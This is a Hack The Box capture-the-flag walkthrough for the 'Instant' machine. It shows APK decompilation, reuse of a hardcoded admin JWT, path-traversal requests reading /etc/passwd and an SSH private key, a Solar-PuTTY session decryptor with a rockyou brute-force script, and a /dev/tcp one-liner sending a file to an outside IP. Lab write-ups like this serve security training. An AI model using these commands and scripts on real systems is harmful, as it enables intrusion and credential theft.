Instant HTB writeup

Walkethrough for the Instant HTB machine.

Posted by xtromera on October 13, 2024 · 18 mins read

Report

Beginning with the default nmap scan

nmap $ip -sV -p-

Found some common ports


1

  • 22: SSH
  • 80: HTTP
  • Host: instant.htb

Interacting with the HTTP port using a web browser.


1

We are redirected to an unknown domain instant.htb.

Adding it to the /etc/hosts files.


1

We are welcomed with the index page.


1

We can see a download button.

Clicking on it , we download an android application instant.apk.


1

Decompiling the application using apktool.

apktool d instant.apk

The application was decompiled successfully.


1

We have a lot of files and directories.


1

After some search, finding in instant/res/xml/ a file called network_security_config.xml as this is an important location for android applications to save the configuration files and rules that will govern the application.

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
    </domain-config>
</network-security-config>

We can find some subdomains mywalletv1.instant.htb and swagger-ui.instant.htb where we can add them to /etc/hosts.


1

Checking them on browser

  • mywalletv1 got error


1

We still did not identify any valid paths till now

  • swagger-ui


1

We are welcomed with the documentation of the api used and its routes.
We will go back to the api later as it needs authentication.

Continuing with the application, decided to decompile it using jadx-gui.


1

Looking for the main activities on the application.


1

We can identify the full name of the application instantlabs.instant.
Going with the low hanging fruits by checking the AdminActivites activity.

package com.instantlabs.instant;
  
  
import com.google.gson.JsonParser;
  
import com.google.gson.JsonSyntaxException;
  
import java.io.IOException;
  
import okhttp3.Call;
  
import okhttp3.Callback;
  
import okhttp3.OkHttpClient;
  
import okhttp3.Request;
  
import okhttp3.Response;
  
  
/* loaded from: classes.dex */
  
public class AdminActivities {
  
    private String TestAdminAuthorization() {
  
        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
  
            static final /* synthetic */ boolean $assertionsDisabled = false;
  
  
            @Override // okhttp3.Callback
  
            public void onFailure(Call call, IOException iOException) {
  
                System.out.println("Error Here : " + iOException.getMessage());
  
            }
  
  
            @Override // okhttp3.Callback
  
            public void onResponse(Call call, Response response) throws IOException {
  
                if (response.isSuccessful()) {
  
                    try {
  
                        System.out.println(JsonParser.parseString(response.body().string()).getAsJsonObject().get("username").getAsString());
  
                    } catch (JsonSyntaxException e) {
  
                        System.out.println("Error Here : " + e.getMessage());
  
                    }
  
                }
  
            }
  
        });
  
        return "Done";
  
    }
  
}

We can find a JWT token of the admin. To understand the code, look at this snippet

Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback()

The application makes a URL request to the mywalletv1.instant.htb/api/v1/view/profile endpoint and adding the header Authorization with the JWT token.

To replicate that we will use the CURL command

curl http://mywalletv1.instant.htb/api/v1/view/profile -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

We get a valid response.


1

Now using the swagger-ui api

swagger-ui: Use Swagger UI to generate interactive API documentation that lets your users try out the API calls directly in the browser. Use the spec to connect API-related tools to your API. For example, import the spec to SoapUI to create automated tests for your API.

We will use the endpoints identified from swagger.

We can identify multiple ones and if we used any we will get 401 error because of the permissions.


1

Still going with the low hanging fruits and checking the /api/v1/admin/view/logs.


1

We get permissions error.


1

We do not have enough permissions.

Taking the command used and adding the JWT token.

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/view/logs" -H  "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

We get a valid response.


1

We can identify the user shirohige.

Trying the next API api/v1/admin/read/log but directly with our header.

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" -H  "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

We can read the log file.


1

Testing for LFI.

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../../../../../etc/passwd" -H  "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

We get a hit.


1

Leaking the private SSH key of the user.

curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../../../../../home/shirohige/.ssh/id_rsa" -H  "Authorization:eyJhbGciOiJIUzI1NiIsIn
R5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

We get the key but in a bad format.


1

Using this python script to reformat it correctly.

def format_rsa_key(input_file, output_file):
    try:
      
        with open(input_file, 'r') as infile:
            content = infile.read()

        
        cleaned_content = content.replace('\\n', '\n').replace('","', '').replace('"', '')

      
        lines = cleaned_content.strip().splitlines()
        if lines[0] != "-----BEGIN RSA PRIVATE KEY-----":
            lines.insert(0, "-----BEGIN RSA PRIVATE KEY-----")
        if lines[-1] != "-----END RSA PRIVATE KEY-----":
            lines.append("-----END RSA PRIVATE KEY-----")

       
        with open(output_file, 'w') as outfile:
            outfile.write('\n'.join(lines) + '\n')

        print(f"RSA private key has been formatted and saved as {output_file}")
    except Exception as e:
        print(f"An error occurred: {e}")


if __name__ == "__main__":
    input_file = 'keyBad'
    output_file = 'id_rsa'
    format_rsa_key(input_file, output_file)

We have the corrected id_rsa.


1

SSH to the machine with the discovered user.

chmod 600 id_rsa;ssh shirohige@instant.htb -i id_rsa

We are connected.


1

Looking for the low hanging fruits as always Checking the /opt.


1

We can find a directory called Solar-PuTTY.

A quick search, found an exploit through this link as it was vulnerable to information disclosure.

This is the script written in C#.

using System;
using System.Linq;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using Newtonsoft.Json;

namespace SolarPuttyDecrypt
{
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length == 0 || args==null)
            {
                Console.ForegroundColor = ConsoleColor.Cyan;
                Console.WriteLine("SolarPuttyDecrypt now will try to dump local sessions' file, otherwise enter SolarPutty's sessions file path and password.");
                Console.WriteLine("\nUsage: SolarPuttyDecrypt.exe C:\\session.dat pwd123 (use \"\" for empty password)");
                Console.ResetColor();
                //Environment.Exit(1);
            }
            string CurrDir = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
            Console.WriteLine("-----------------------------------------------------");
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("SolarPutty's Sessions Decrypter by VoidSec");
            Console.ResetColor();
            Console.WriteLine("-----------------------------------------------------");
            Console.ForegroundColor = ConsoleColor.Yellow;
            if(args.Length == 0 || args == null)
            {
                string ExportedDirectoryPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "SolarWinds\\FreeTools\\Solar-PuTTY\\");
                string sessionfile = Path.Combine(ExportedDirectoryPath, "data.dat");
                DoImport(sessionfile, null, CurrDir);
            }
            else
            {
                DoImport(args[0], args[1], CurrDir);
            }
            Console.ResetColor();
            Console.WriteLine("-----------------------------------------------------");
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("[+] DONE Decrypted file is saved in: " + CurrDir + "\\SolarPutty_sessions_decrypted.txt");
            Console.ResetColor();
        }
        static void DoImport(string dialogFileName, string password, string CurrDir)
        {
            using (FileStream fileStream = new FileStream(dialogFileName, FileMode.Open))
            {
                using (StreamReader streamReader = new StreamReader(fileStream))
                {
                    string text = streamReader.ReadToEnd();
                    try
                    {
                        var text2 = (password == null) ? Crypto.Deob(text) : Crypto.Decrypt(password, text);
                        if (text2 == null)
                        {
                            return;
                        }
                        var obj = JsonConvert.DeserializeObject(text2);
                        var f = JsonConvert.SerializeObject(obj, Formatting.Indented);
                        Console.WriteLine("\n"+f+"\n");
                        using (StreamWriter outputFile = new StreamWriter(Path.Combine(CurrDir, "SolarPutty_sessions_decrypted.txt")))
                        outputFile.WriteLine(f);
                    }
                    catch (CryptographicException ex)
                    {
                        if (ex.Message == "Padding is invalid and cannot be removed.")
                        {
                            Console.ForegroundColor = ConsoleColor.Red;
                            Console.WriteLine("User entered wrong password for import");
                            Console.ResetColor();
                            Environment.Exit(1);
                        }
                        else
                        {
                            Console.ForegroundColor = ConsoleColor.Red;
                            Console.WriteLine(ex);
                            Console.ResetColor();
                            Environment.Exit(1);
                        }
                        fileStream.Close();
                    }
                    catch (FormatException message)
                    {
                        Console.ForegroundColor = ConsoleColor.Red;
                        Console.WriteLine(message);
                        Console.ResetColor();
                        fileStream.Close();
                        Environment.Exit(1);
                    }
                }
            }            
        }
    }
}

internal class Crypto
{
    public static string Decrypt(string passPhrase, string cipherText)
    {
        byte[] array = Convert.FromBase64String(cipherText);
        byte[] salt = array.Take(24).ToArray();
        byte[] rgbIV = array.Skip(24).Take(24).ToArray();
        byte[] array2 = array.Skip(48).Take(array.Length - 48).ToArray();
        using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, salt, 1000))
        {
            byte[] bytes = rfc2898DeriveBytes.GetBytes(24);
            using (TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider())
            {
                tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
                tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
                using (ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(bytes, rgbIV))
                {
                    using (MemoryStream memoryStream = new MemoryStream(array2))
                    {
                        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
                        {
                            byte[] array3 = new byte[array2.Length];
                            int count = cryptoStream.Read(array3, 0, array3.Length);
                            memoryStream.Close();
                            cryptoStream.Close();
                            return Encoding.UTF8.GetString(array3, 0, count);
                        }
                    }
                }
            }
        }
    }

    public static string Deob(string cipher)
    {
        byte[] encryptedData = Convert.FromBase64String(cipher);
        try
        {
            byte[] bytes = ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser);
            return Encoding.Unicode.GetString(bytes);
        }
        catch (Exception message)
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(message);
            Console.ResetColor();
            Environment.Exit(1);
        }
        return string.Empty;
    }
}

We can Build the application using visual studio code but decided to convert the script to python to make it easier to run.
The converted python script.

import base64
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

def decrypt(passphrase, ciphertext):
    try:
        # Decode the base64 encoded ciphertext
        array = base64.b64decode(ciphertext)
        salt = array[:24]
        iv = array[24:32]
        encrypted_data = array[48:]

        # Derive the key from the passphrase using PBKDF2
        kdf = PBKDF2HMAC(
            algorithm=hashes.SHA1(),
            length=24,  # Triple DES key size
            salt=salt,
            iterations=1000,
            backend=default_backend()
        )
        key = kdf.derive(passphrase.encode())

        # Create the cipher and decrypt the data
        cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()
        
        decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()

        data = ''.join(chr(c) for c in decrypted_data if chr(c).isascii())
        return data

    except Exception as e:
        print(f'Error: {e}')


with open('./sessions-backup.dat') as f:
    cipher = f.read()

with open('/usr/share/wordlists/rockyou.txt') as passwords:
    for i, password in enumerate(passwords):
        password = password.strip()
        decrypted = decrypt(password, cipher)
        print(f'[{i}] {password=}', end='\r')
        if 'Credentials' in decrypted:
            print('\r', i, password)
            print()
            print(decrypted)
            break

Copying the sessions-backup.dat file to our machine using this simple trick.

cat sessions-backup.dat >& /dev/tcp/10.10.16.57/5555 0>&1

Using the script to decrypt the session and extract the information.

python3 solar.py

We get the root password.


1

Logging in as root.


1

The machine was pawned successfully.


1